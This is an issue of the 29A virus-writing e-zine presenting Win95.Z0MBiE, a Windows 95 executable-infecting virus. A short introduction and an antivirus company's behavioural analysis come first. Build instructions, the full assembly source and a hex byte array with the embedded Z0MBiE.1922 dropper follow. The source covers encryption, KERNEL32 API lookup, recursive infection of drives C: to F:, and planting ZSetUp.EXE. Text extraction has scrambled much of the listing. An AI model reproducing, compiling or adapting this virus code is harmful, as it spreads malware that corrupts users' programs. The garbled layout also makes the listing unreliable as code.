ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Win95.Z0MBiE ³ ³ v1.01, by Z0MBiE ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄThis is the first collaboration of the russian virus writer Z0MBiE to 29A, and also his first Win95 PE infector. It is an encrypted runtime PE infector which, after having decrypted its body, locates KERNEL32.DLL and then looks in its export table for the address of the API functions used it the viral code. This virus has also the feature which consists on looking for files to infect in the Windows directory as well as in other units. PE infection consists on adding a new section (called .Z0MBiE) to infected executables and creating an entry point in it for the virus code. Last but not least, Win95.Z0MBiE, after having infected files in a given drive, inserts a dropper called ZSetUp.EXE in the root directory. This file is actually a dropper of the Z0MBiE.1922 virus, also included in this issue of 29A, in the "Viruses" section of the magazine. Its peculiarities are described there, together with the analysis of Igor Daniloff, same as the one which follows, describing the behavior of Win95.ZOMBiE.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 Win95.Zombie Igor Daniloff DialogueScience Win95.Zombie is a nondestructive nonresident encrypted virus which infects PortableExecutable EXE files. On starting an infected file, the virus decryptor explodes the main virus body and passes control to it. The main virus body determines the location of KERNEL32 Export Table in memory and saves in its code the address of WIN32 KERNEL API functions that are essential for infecting files. Then the virus determines the command line of the currently-loaded infected program and loads it once again through the WinExec function. The second virus copy then infects the system. The first virus copy (that started a second copy the infected program), after completing the WinExec procedure, returns control to the host program. To infect PE EXE files, the virus scans the Windows system folder and also takes peeps into all other folders in drives C:, D:, E:, and F:. On detecting a PE EXE file, the virus analyzes the file. If all is well, the file is infected. Win95.Zombie creates a new segment section .Z0MBiE in the PE header, sets an entry point to it, and appends a copy of the encrypted code at the file end which is within the limits of the region of this segment section. After infecting the logical drive, the virus creates a dropper file ZSetUp.EXE in the root directory and assigns it ARCHIVE and SYSTEM attributes. In this file, Win95.Zombie plants a Zombie.1922 virus code. The virus contains a few text strings: Z0MBiE 1.01 (c) 1997 My 2nd virii for mustdie Tnx to S.S.R. Z0MBiE`1668 v1.00 (c) 1997 Z0MBiE Tnx to S.S.R. ShadowRAM/Virtual Process Infector ShadowRAM Technology (c) 1996,97 Z0MBiE code................1398 viriisize...........4584

; ; ; ; ; ; ; ; ; ; ; ;

virtsize............8936 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

Compiling it ÄÄÄÄÄÄÄÄÄÄÄÄ tasm32 -ml -m5 -q -zn zombie.asm tlink32 -Tpe -c -x -aa zombie.obj,,, import32.lib pewrsec zombie.exe - -[ZOMBIE.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 .386 locals jumps .model

flat

extrn extrn kernel FILE_ID PORT_ID

ExitProcess:PROC MessageBoxA:PROC equ equ equ .data 0BFF70000H 'Z0' 'Z'

sux

db .code

'mustdie'

start: call lea lea equ mov neg xor equ sub loop jmp align equ lea sub equ push call call in cmp je in cmp codestart ebp, [eax - 401000H] edx, codestart[ebp] (viriisize-decrsize+3) / 4 ecx, cryptn dword ptr [edx] dword ptr [edx], 12345678h dword ptr $-4 edx, -4 @@1 codestart 4 $-start ebp, [eax - 401000H] eax, 12345678h dword ptr $-4 eax analizekernel first al, 81h al, PORT_ID exit_to_program al, 80h al, PORT_ID

cryptn @@1: xorword

decrsize codestart: subme

je mov out call exit_to_program: infect: ret mov out ; ; ; ; call push push call

infect al, PORT_ID 80h, al ExecExe

al, -1 80h, al _GetModuleHandleA 9 eax _SetPriorityClass

; infect windows directory lea call lea call call edx, infdir[ebp] getwindir edx, infdir[ebp] setdir infectdir

; recursive infect lea call call lea call call lea call call lea call call mov out exit_to_mustdie: push call edx, drive_c[ebp] recinfect1st createsetup edx, drive_d[ebp] recinfect1st createsetup edx, drive_e[ebp] recinfect1st createsetup edx, drive_f[ebp] recinfect1st createsetup al, PORT_ID 81h, al -1 _ExitProcess

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ subprograms ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ createsetup: lea call lea mov call call ret first: pop edi edx, zsetup[ebp] createfile edx, z[ebp] ecx, z_size writefile closefile

mov mov call jmp ExecExe: SW_NORMAL call equ push push call ret call call lea push lea push call mov inc jz @@processfile: lea mov cmp jne lea cmp je call push lea call pop lea call @@findnext: lea push push call or jnz @@nomorefiles: nokerneldll: nofunction: exit: analizekernel: @@1: ret

byte ptr [edi-5], 0b9h ; mov ecx, xxxxxxxx byte ptr start[ebp], 0b9h infectfile exit_to_mustdie _GetCommandLineA 1 SW_NORMAL eax _WinExec

recinfect1st: recinfect:

setdir infectdir eax, win32_data_thang[ebp] eax eax, dirfiles[ebp] eax _FindFirstFileA edi, eax eax @@nomorefiles eax, fileattr[ebp] al, [eax] al, 10h ; directory ? @@findnext edx, fullname[ebp] byte ptr [edx], '.' @@findnext setdir edi edx, fullname[ebp] recinfect edi edx, prev_dir[ebp] setdir eax, win32_data_thang[ebp] eax edi _FindNextFileA eax, eax @@processfile

jmp mov ; cmp ; ja lea mov

$ esi, kernel esi, kernel + 040000h nokernelfunc edi, kernel_sign[ebp] ecx, kernel_sign_size

rep jne kernelfound: sub mov mov lodsw cmp jne add lodsd lea lodsd cmp jne add lodsd add xchg lodsd lodsd lodsd mov lodsd add mov lodsd add mov lodsd add mov lea lea @@1: push call pop inc stosd add mov cmp jne ret findfunction: funcnum mov equ xor

cmpsb @@1 esi, kernel_sign_size kernel_call[ebp], esi esi, kernel ax, 'ZM' nokerneldll esi, 003Ch-2

esi, [esi + eax - 3ch - 4] eax, 'EP' nokerneldll esi, 78h-4 ; esi=.edata

eax, kernel + 10h esi, eax

funcnum[ebp], eax

eax, kernel entrypointptr[ebp], eax

eax, kernel nameptr[ebp], eax

eax, kernel ordinalptr[ebp], eax edx, names[ebp] edi, fns[ebp] edi findfunction edi edi edi, 6 edx, esi byte ptr [esi], 0 @@1 ; 68 ; jmp kernel_call[ebp]

ecx, 12345678h dword ptr $-4 ebx, ebx

findnextfunc:

mov mov equ add cmpsb jne cmp jne ; found shr movzx equ shl mov equ add ret

esi, edx edi, [ebx + 12345678h] dword ptr $-4 edi, kernel

nameptr

@@2:

@@1 byte ptr [esi-1], 0 @@2

ordinalptr

entrypointptr

ebx, 1 eax, word ptr [ebx + 12345678h] dword ptr $-4 eax, 2 eax, [eax + 12345678h] dword ptr $-4 eax, kernel

@@1:

add loop jmp

ebx, 4 findnextfunc nofunction

infectdir:

lea push lea push call mov inc jz

eax, win32_data_thang[ebp] eax eax, exefiles[ebp] eax _FindFirstFileA searchhandle[ebp], eax eax @@exit infectfile eax, win32_data_thang[ebp] eax 12345678h dword ptr $-4 _FindNextFileA eax, eax @@next

@@next:

call lea push push equ call or jnz

searchhandle

@@exit:

ret ; input: ECX=file attr ; EDX=file ; output: EAX=handle

openfile:

push push push push push

0 ecx 3 ; OPEN_EXISTING 0 0

push push call mov ret

80000000h + 40000000h edx _CreateFileA handle[ebp], eax

; input: EDX=file ; output: EAX=handle createfile: push push push push push push push call mov ret push push push push call ret push call ret 0 ecx 1 ; CREATE 0 0 80000000h + 40000000h edx _CreateFileA handle[ebp], eax

seekfile:

0 0 edx handle[ebp] _SetFilePointer

closefile:

handle[ebp] _CloseHandle

; input: ECX=bytes to read ; EDX=buf readfile: push lea push push push push call ret 0 eax, bytesread[ebp] eax ecx edx handle[ebp] _ReadFile

; input: ECX=bytes to read ; EDX=buf writefile: push lea push push push push call ret 0 eax, bytesread[ebp] eax ecx edx handle[ebp] _WriteFile

; input: EDX=offset directory (256 byte) getdir: cld push push call ret

edx 255 _GetCurrentDirectoryA

; input: EDX=directory setdir: push call ret cld push push call ret in cmp jne lea cmp jne @@continue: mov lea call inc jz edx _SetCurrentDirectoryA

getwindir:

255 edx _GetWindowsDirectoryA

infectfile:

al, 82h al, PORT_ID @@continue eax, fullname[ebp] dword ptr [eax], 'BM0Z' @@exit ecx, fileattr[ebp] edx, fullname[ebp] openfile eax @@exit

; goto the dword that stores the location of the pe header mov call edx, 3Ch seekfile

; read in the location of the pe header mov lea call ; goto the pe header mov call edx, peheaderoffset[ebp] seekfile ecx, 4 edx, peheaderoffset[ebp] readfile

; read in enuff to calculate the full size of the pe header and object table mov lea call ecx, 256 edx, peheader[ebp] readfile

; make sure it is a pe header and is not already infected cmp dword ptr peheader[ebp],'EP' jne @@close cmp word ptr peheader[ebp] + 4ch, FILE_ID je @@close cmp dword ptr peheader[ebp] + 52, 00400000h jne @@close ; go back to the start of the pe header mov edx, peheaderoffset[ebp] call seekfile ; read in the whole pe header and object table lea edx, peheader[ebp] mov ecx, headersize[ebp]

cmp ja call mov ; locate offset of object table xor mov add mov

ecx, maxbufsize @@close readfile word ptr peheader[ebp] + 4ch, FILE_ID

eax, eax ax, NtHeaderSize[ebp] eax, 18h objecttableoffset[ebp],eax

; calculate the offset of the last (null) object in the object table mov esi, objecttableoffset[ebp] lea eax, peheader[ebp] add esi, eax xor eax, eax mov ax, numObj[ebp] mov ecx, 40 xor edx, edx mul ecx add esi, eax inc lea xchg numObj[ebp] ; inc the number of objects

edi, newobject[ebp] edi,esi

; calculate the Relative Virtual Address (RVA) of the new object mov add mov xor div inc mul mov eax, [edi-5*8+8] eax, [edi-5*8+12] ecx, objalign[ebp] edx,edx ecx eax ecx RVA[ebp], eax

; calculate the physical size of the new object mov ecx, filealign[ebp] mov eax, viriisize xor edx, edx div ecx inc eax mul ecx mov physicalsize[ebp],eax ; calculate the virtual size of the new object mov ecx, objalign[ebp] mov eax, virtsize xor edx,edx div ecx inc eax mul ecx mov virtualsize[ebp],eax ; calculate the physical offset mov add mov xor div of the new object eax,[edi-5*8+20] eax,[edi-5*8+16] ecx, filealign[ebp] edx,edx ecx

inc mul mov

eax ecx physicaloffset[ebp],eax

; update the image size (the size in memory) of the file mov eax, virtsize add eax, imagesize[ebp] mov ecx, objalign[ebp] xor edx, edx div ecx inc eax mul ecx mov imagesize[ebp],eax ; copy the new object into the object table mov ecx, 40/4 rep movsd ; calculate the entrypoint RVA mov eax, RVA[ebp] mov mov sub ebx, entrypointRVA[ebp] entrypointRVA[ebp], eax eax, ebx

; Set the value needed to return to the host mov subme[ebp], eax ; go back to the start of the pe header mov edx, peheaderoffset[ebp] call seekfile ; write the pe header and object table to the file mov ecx, headersize[ebp] lea edx, peheader[ebp] call writefile ; move to the physical offset of the new object mov edx, physicaloffset[ebp] call seekfile ; write the virus code to the new object call mov lea mov call lea lea mov lodsd xor neg stosd loop lea mov call random xorword[ebp], eax edx, start[ebp] ecx, decrsize writefile esi, codestart[ebp] edi, buf[ebp] ecx, cryptn eax, xorword[ebp] eax @@1 edx, buf[ebp] ecx, viriisize-decrsize writefile

@@1:

@@close: @@exit:

call ret

closefile

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 32-bit random number generator ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; output: eax=rnd ; zf=rnd(2) random: call shl push mov equ in xor in add in sub in xor in add in sub mov xchg pop test ret random16bit eax, 16 ebx bx, 1234h word ptr $-2 al, 40h bl, al al, 40h bh, al al, 41h bl, al al, 41h bh, al al, 42h bl, al al, 42h bh, al rndword[ebp], bx bx, ax ebx al, 1

random16bit: rndword

; input: eax ; output: eax=rnd(eax) ; zf=rnd(2) rnd: push push xchg call xor div xchg pop pop test ret ebx edx ebx, eax random edx, edx ebx edx, eax edx ebx al, 1

codesize

equ

$-start

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ data area ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ kernel_sign: pushfd cld push push push equ dd ; <- kernel eax ebx edx $-kernel_sign ?

kernel_sign_size kernel_call

names:

db db db db db db db db db db db db db db db db

'ExitProcess',0 'FindFirstFileA',0 'FindNextFileA',0 'CreateFileA',0 'SetFilePointer',0 'ReadFile',0 'WriteFile',0 'CloseHandle',0 'GetCurrentDirectoryA',0 'SetCurrentDirectoryA',0 'GetWindowsDirectoryA',0 'GetCommandLineA',0 'WinExec',0 'SetPriorityClass',0 'GetModuleHandleA',0 0

fns: def_fn _&name&: fn_&name&

macro db dd jmp endm

name 68h ? kernel_call[ebp]

def_fn def_fn def_fn def_fn def_fn def_fn def_fn def_fn def_fn def_fn def_fn def_fn def_fn def_fn def_fn bytesread drive_c drive_d drive_e drive_f exefiles dirfiles prev_dir win32_data_thang: fileattr createtime lastaccesstime lastwritetime filesize resv fullname realname

ExitProcess FindFirstFileA FindNextFileA CreateFileA SetFilePointer ReadFile WriteFile CloseHandle GetCurrentDirectoryA SetCurrentDirectoryA GetWindowsDirectoryA GetCommandLineA WinExec SetPriorityClass GetModuleHandleA dd db db db db db db db ? 'C:\',0 'D:\',0 'E:\',0 'F:\',0 '*.EXE',0 '*.',0 '..',0

dd dd dd dd dd dd db db

0 0,0 0,0 0,0 0,0 0,0 'Z0MB.EXE',256-8 dup (0) 256 dup (0)

handle peheaderoffset objecttableoffset newobject: oname virtualsize RVA physicalsize physicaloffset reserved objectflags

dd dd dd

? ? ? ;1234567 8 '.Z0MBiE',0 0 0 0 0 0,0,0 40h,0,0,0c0h

db dd dd dd dd dd db

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ messages ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 13,10,'Z0MBiE 1.01 (c) 1997',13,10 db 'My 2nd virii for mustdie',13,10 db 'Tnx to S.S.R.',13,10 m1 macro if db else db endif if db else db endif if db else db endif db db db endm n n ge 100000 n / 10000/10 mod 10 + '0' '.' n ge 10000 n / 10000 mod 10 + '0' '.' n ge 1000 n / 1000 mod 10 + '0' '.' n / n / n / 100 mod 10 + '0' 10 mod 10 + '0' 1 mod 10 + '0',13,10

; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ zsetup db '\ZSetUp.EXE',0 z: include z.inc ; Z0MBiE.1922 z_size equ $-z ; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ db 13,10 db 'code..............' codesize db 'viriisize.........' viriisize db 'virtsize..........' virtsize

m1 m1 m1 peheader: signature cputype numObj NtHeaderSize Flags

dd dw dw dd dw dw

0 0 0 3 dup (0) 0 0

entrypointRVA objalign filealign imagesize headersize peheader_size

dd dd dd dd dd dd dd dd equ align equ db equ db equ end

4 dup (0) 0 3 dup (0) 0 0 4 dup (0) 0 0 $-peheader 4 $-start 256 dup (?) 4096 maxbufsize dup (?) $-start start

viriisize infdir maxbufsize buf virtsize

; - -[Z.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 abc_size abc_num equ equ 1922 1922 ; size in bytes ; size in elements

abc db 0e9h,010h,001h,026h,0a0h,028h,000h,0f6h,0d0h,02eh,030h,006h,022h,001h db 0beh,02bh,001h,08bh,0feh,0b9h,008h,000h,02eh,0ach,040h,0d1h,0e3h,00bh,0d8h db 0e2h,0f7h,02eh,088h,01dh,047h,081h,0ffh,0adh,008h,075h,0eah,0ebh,000h,0e8h db 056h,006h,0b8h,081h,0f0h,0cdh,013h,03dh,08ch,092h,074h,003h,0e8h,0d8h,000h db 08ch,0c1h,083h,0c1h,010h,0b8h,034h,012h,003h,0c1h,08eh,0d0h,0bch,034h,012h db 0b8h,034h,012h,003h,0c1h,050h,068h,034h,012h,033h,0c0h,0cbh,053h,0bbh,034h db 012h,0e4h,040h,032h,0d8h,0e4h,040h,002h,0f8h,0e4h,041h,02ah,0d8h,0e4h,041h db 032h,0f8h,0e4h,042h,002h,0d8h,0e4h,042h,02ah,0f8h,02eh,089h,01eh,058h,001h db 093h,05bh,0a8h,001h,0c3h,053h,052h,093h,0e8h,0d4h,0ffh,033h,0d2h,0f7h,0f3h db 092h,05ah,05bh,0a8h,001h,0c3h,051h,0b1h,059h,0e8h,04eh,000h,02eh,088h,02eh db 0afh,001h,041h,0e8h,045h,000h,02eh,088h,02eh,0b5h,001h,041h,0e8h,03ch,000h db 02eh,088h,02eh,0bbh,001h,059h,0c3h,090h,051h,0b9h,059h,000h,0e8h,03ah,000h db 041h,0b5h,012h,0e8h,034h,000h,041h,0b5h,012h,0e8h,02eh,000h,059h,0c3h,051h db 0b1h,059h,02eh,08ah,02eh,0afh,001h,080h,0e5h,08fh,080h,0cdh,030h,0e8h,01bh db 000h,041h,0b5h,033h,0e8h,015h,000h,041h,0b5h,033h,0e8h,00fh,000h,059h,0c3h db 066h,050h,052h,0e8h,014h,000h,0ech,08ah,0e8h,05ah,066h,058h,0c3h,066h,050h db 052h,0e8h,007h,000h,08ah,0c5h,0eeh,05ah,066h,058h,0c3h,066h,0b8h,000h,000h db 000h,080h,08ah,0c1h,024h,0fch,0bah,0f8h,00ch,066h,0efh,080h,0c2h,004h,08ah db 0c1h,024h,003h,002h,0d0h,0c3h,01eh,006h,00eh,01fh,0fah,0fch,0e8h,070h,0ffh db 0a0h,0afh,001h,0feh,0c0h,074h,058h,0e8h,0b8h,000h,075h,053h,0e8h,053h,000h db 074h,00bh,0e8h,074h,000h,074h,006h,0e8h,07ch,000h,074h,001h,0c3h,0e8h,086h db 0ffh,0b8h,042h,000h,0e8h,03bh,0ffh,003h,0e8h,083h,0c5h,00fh,083h,0e5h,0f0h db 0c1h,0edh,004h,08ch,0c0h,003h,0c5h,02dh,010h,000h,08eh,0c0h,0bfh,000h,001h db 0c6h,006h,082h,008h,0eah,0c7h,006h,083h,008h,017h,003h,08ch,006h,085h,008h db 08ch,006h,0b6h,005h,0beh,000h,001h,0b9h,007h,008h,0f3h,0a4h,0e8h,035h,003h db 0e8h,032h,0ffh,033h,0c0h,007h,01fh,0c3h,068h,000h,0c0h,007h,033h,0ffh,032h db 0d2h,026h,08ah,075h,002h,0d1h,0e2h,073h,002h,0b6h,080h,081h,0eah,069h,008h db 033h,0c0h,08bh,0efh,0b9h,025h,004h,0f3h,0afh,074h,004h,03bh,0fah,076h,0f3h db 0c3h,0b8h,030h,011h,0b7h,002h,0cdh,010h,08ch,0c0h,03dh,000h,0c0h,0c3h,068h db 000h,0c0h,007h,033h,0ffh,0b9h,00eh,000h,032h,0c0h,0f3h,0aeh,075h,015h,0b9h db 010h,000h,0f3h,0aeh,026h,081h,07dh,0ffh,07eh,081h,075h,008h,026h,081h,07dh db 00dh,07eh,0ffh,074h,006h,081h,0ffh,000h,0f0h,076h,0dch,08bh,0efh,0c3h,0b4h db 013h,0cdh,02fh,08ch,0c1h,02eh,089h,01eh,02bh,003h,02eh,08ch,006h,02dh,003h db 0cdh,02fh,081h,0f9h,000h,0f0h,0c3h,03dh,081h,0f0h,074h,019h,03dh,000h,04bh db 074h,00fh,080h,0fch,043h,074h,00ah,080h,0fch,03dh,074h,005h,0eah,000h,000h db 000h,000h,0e8h,048h,000h,0ebh,0f6h,0b8h,08ch,092h,0cfh,03dh,081h,0f0h,074h db 0f7h,0e8h,0a2h,0feh,0e8h,089h,002h,02eh,0a3h,05ch,005h,0e8h,082h,0feh,09ch

db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db

09ah,000h,000h,000h,000h,09ch,0e8h,08eh,0feh,02eh,080h,03eh,05dh,005h,002h 075h,00dh,026h,081h,03fh,04dh,05ah,075h,003h,0e8h,0e4h,001h,0e8h,012h,002h 0e8h,060h,002h,0e8h,05dh,0feh,09dh,0cah,002h,000h,09ch,02eh,0ffh,01eh,00ah 003h,0c3h,0e8h,065h,0feh,02eh,0c6h,006h,0abh,001h,0c3h,060h,01eh,006h,0fch 0b8h,000h,03dh,0e8h,0e6h,0ffh,00fh,082h,066h,001h,093h,0b4h,03fh,00eh,01fh 0bah,087h,008h,0b9h,040h,000h,0e8h,0d4h,0ffh,03bh,0c1h,00fh,085h,04dh,001h 0a1h,087h,008h,03dh,04dh,05ah,074h,007h,03dh,05ah,04dh,00fh,085h,03eh,001h 080h,03eh,099h,008h,069h,00fh,084h,035h,001h,0b8h,000h,042h,033h,0c9h,08bh 016h,08fh,008h,0c1h,0e2h,004h,0e8h,0a7h,0ffh,0b4h,03fh,0bah,0bdh,003h,0b9h 002h,000h,0e8h,09ch,0ffh,03bh,0c1h,00fh,085h,015h,001h,0b8h,034h,012h,040h 00fh,084h,00dh,001h,053h,0b8h,020h,012h,0cdh,02fh,026h,08ah,01dh,0b8h,016h 012h,0cdh,02fh,05bh,026h,08bh,055h,013h,026h,08bh,045h,011h,00ah,0c0h,00fh 084h,0f5h,000h,0b9h,0e8h,003h,0f7h,0f1h,00bh,0d2h,00fh,084h,0eah,000h,026h 0c7h,045h,002h,002h,000h,00eh,007h,0a1h,08bh,008h,048h,0b9h,000h,002h,0f7h 0e1h,003h,006h,089h,008h,083h,0d2h,000h,08bh,0f0h,08bh,0fah,0b8h,002h,042h 099h,033h,0c9h,0e8h,041h,0ffh,03bh,0c6h,00fh,085h,0bah,000h,03bh,0d7h,00fh 085h,0b4h,000h,005h,00fh,000h,083h,0d2h,000h,024h,0f0h,02bh,0f0h,029h,036h 089h,008h,050h,052h,0c1h,0e8h,004h,0c1h,0e2h,00ch,00bh,0c2h,02bh,006h,08fh 008h,02dh,010h,000h,08bh,0c8h,087h,00eh,09dh,008h,089h,00eh,04bh,001h,0b9h 003h,001h,087h,00eh,09bh,008h,089h,00eh,051h,001h,08bh,0c8h,087h,00eh,095h 008h,089h,00eh,041h,001h,0b9h,010h,00ah,087h,00eh,097h,008h,089h,00eh,048h 001h,081h,006h,091h,008h,0a1h,000h,083h,006h,08bh,008h,01eh,083h,006h,089h 008h,03bh,0c6h,006h,099h,008h,069h,0b8h,000h,042h,059h,05ah,0e8h,0cfh,0feh 0e8h,05dh,000h,0b4h,040h,0bah,000h,001h,0b9h,02bh,000h,0e8h,0c1h,0feh,0beh 02bh,001h,0bfh,0c7h,008h,0b9h,008h,000h,0ach,092h,0bdh,008h,000h,033h,0c0h 0d0h,0e2h,0d1h,0d0h,048h,0aah,04dh,075h,0f5h,0e2h,0eeh,0b4h,040h,0bah,0c7h 008h,0b9h,040h,000h,0e8h,09bh,0feh,081h,0feh,0adh,008h,072h,0d7h,0b8h,000h 042h,099h,033h,0c9h,0e8h,08ch,0feh,0b4h,040h,0bah,087h,008h,0b9h,040h,000h 0e8h,081h,0feh,0b4h,03eh,0e8h,07ch,0feh,007h,01fh,061h,02eh,0c6h,006h,0abh 001h,090h,0e8h,0c9h,0fch,0c3h,0bfh,084h,007h,0b0h,0c3h,0aah,0b9h,0fdh,000h 033h,0c0h,0f3h,0aah,0c7h,006h,007h,001h,0f6h,0d0h,0b0h,008h,0e6h,070h,0e4h 071h,03ch,00ah,075h,028h,0c7h,006h,007h,001h,0b0h,000h,0b8h,009h,000h,0e8h 070h,0fch,096h,06bh,0f6h,012h,081h,0c6h,0e2h,006h,0b9h,002h,000h,0adh,097h 081h,0c7h,084h,007h,0a4h,0adh,097h,081h,0c7h,084h,007h,066h,0a5h,0e2h,0efh 0c3h,060h,01eh,006h,033h,0f6h,08eh,0deh,0c4h,09ch,084h,000h,00bh,0dbh,074h 01eh,0b8h,081h,0f0h,0cdh,021h,03dh,08ch,092h,074h,014h,02eh,089h,01eh,00ah 003h,02eh,08ch,006h,00ch,003h,0c7h,084h,084h,000h,0f5h,002h,08ch,08ch,086h 000h,007h,01fh,061h,0c3h,060h,0bah,034h,012h,032h,0f6h,0c1h,0e2h,004h,08dh 07fh,00ch,0b9h,00ah,000h,032h,0c0h,0fch,0f3h,0aeh,075h,033h,0bdh,053h,006h 0b9h,00bh,000h,08bh,0f5h,08bh,0fbh,02eh,0ach,03ch,0b0h,074h,004h,03ch,080h 073h,005h,026h,038h,005h,075h,011h,047h,0e2h,0eeh,08bh,0fbh,0b0h,0e5h,0aah 033h,0c0h,0b9h,01fh,000h,0f3h,0aah,0ebh,009h,083h,0c5h,00bh,081h,0fdh,0e2h 006h,075h,0d0h,083h,0c3h,020h,04ah,075h,0bah,061h,0c3h,050h,056h,057h,01eh 006h,02eh,0c5h,036h,02bh,003h,068h,034h,012h,007h,0bfh,082h,008h,08ah,004h 026h,086h,005h,088h,004h,046h,047h,081h,0ffh,087h,008h,075h,0f1h,007h,01fh 05fh,05eh,058h,0c3h,00dh,00ah,00ah,05ah,030h,04dh,042h,069h,045h,060h,031h 036h,036h,038h,020h,076h,031h,02eh,030h,030h,020h,028h,063h,029h,020h,031h 039h,039h,037h,020h,05ah,030h,04dh,042h,069h,045h,00dh,00ah,054h,06eh,078h 020h,074h,06fh,020h,053h,02eh,053h,02eh,052h,02eh,00dh,00ah,053h,068h,061h 064h,06fh,077h,052h,041h,04dh,02fh,056h,069h,072h,074h,075h,061h,06ch,020h 050h,072h,06fh,063h,065h,073h,073h,020h,049h,06eh,066h,065h,063h,074h,06fh 072h,00dh,00ah,053h,068h,061h,064h,06fh,077h,052h,041h,04dh,020h,054h,065h 063h,068h,06eh,06fh,06ch,06fh,067h,079h,020h,028h,063h,029h,020h,031h,039h 039h,036h,02ch,039h,037h,020h,05ah,030h,04dh,042h,069h,045h,00dh,00ah,041h 044h,049h,04eh,046h,0f9h,0a3h,0a0h,0a2h,0adh,0aeh,041h,049h,044h,053h,0f9h 0afh,0aeh,0a3h,0a0h,0adh,0ech,041h,056h,050h,0f9h,0f9h,0e1h,0a0h,0aah,0e1h 0f9h,0f9h,057h,045h,042h,0f9h,0f9h,0e3h,0a9h,0aeh,0a1h,0aeh,0aah,044h,052h 057h,045h,042h,0f9h,0e2h,0aeh,0a6h,0a5h,0f9h,0f9h,0e5h,0e3h,0a9h,0adh,0efh 0f9h,0f9h,0b0h,0b0h,0b0h,0f9h,0a4h,0a5h,0e0h,0ech,0ach,0aeh,0f9h,043h,050h 050h,0adh,0a5h,0adh,0a0h,0a2h,0a8h,0a6h,0e3h,043h,020h,020h,053h,02dh,049h 043h,045h,0f9h,0e0h,0e3h,0abh,0a5h,0a7h,054h,044h,0f9h,0ach,0a0h,0e1h,0e2h 0f9h,0a4h,0a0h,0a9h,044h,045h,042h,055h,047h,0f9h,0f9h,0a3h,0e3h,0a4h,0f9h 057h,045h,042h,037h,030h,038h,030h,031h,0edh,0e2h,0aeh,043h,041h,0f9h,0ach

db db db db db db db db db db db db db db db db db db db db db db db db db db db db db

0aeh,0f1h,0f9h,0f9h,041h,056h,0f9h,015h,000h,01eh,051h,000h,0f1h,060h,01eh 009h,0bdh,000h,0a3h,0f7h,000h,0fah,005h,074h,00bh,006h,000h,0b4h,022h,000h 01eh,0f7h,0ebh,0f1h,0b3h,000h,080h,0dfh,000h,024h,016h,002h,03dh,032h,000h 01eh,05eh,000h,095h,025h,0b8h,001h,0c5h,000h,033h,0e1h,000h,0e9h,0c9h,004h 0b1h,03eh,000h,0fah,05ah,000h,00bh,04ch,013h,08bh,0cdh,000h,080h,0f9h,000h 07fh,0dfh,0e0h,059h,009h,000h,02eh,025h,000h,025h,0e5h,009h,0e8h,037h,000h 0e8h,063h,000h,0a4h,0f8h,002h,04bh,009h,000h,050h,025h,000h,025h,052h,084h 000h,043h,000h,080h,06fh,000h,04eh,09ah,044h,003h,01ah,000h,050h,046h,000h 0adh,0cbh,033h,0c0h,085h,000h,0a1h,0a1h,000h,01bh,0fdh,006h,0a3h,036h,000h 0b8h,052h,000h,05bh,0c6h,0e0h,050h,0b2h,000h,09ch,0deh,000h,04eh,0e3h,0c9h 08eh,007h,000h,08eh,023h,000h,083h,008h,0a2h,002h,0b3h,000h,091h,0dfh,000h 059h,0feh,015h,003h,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh 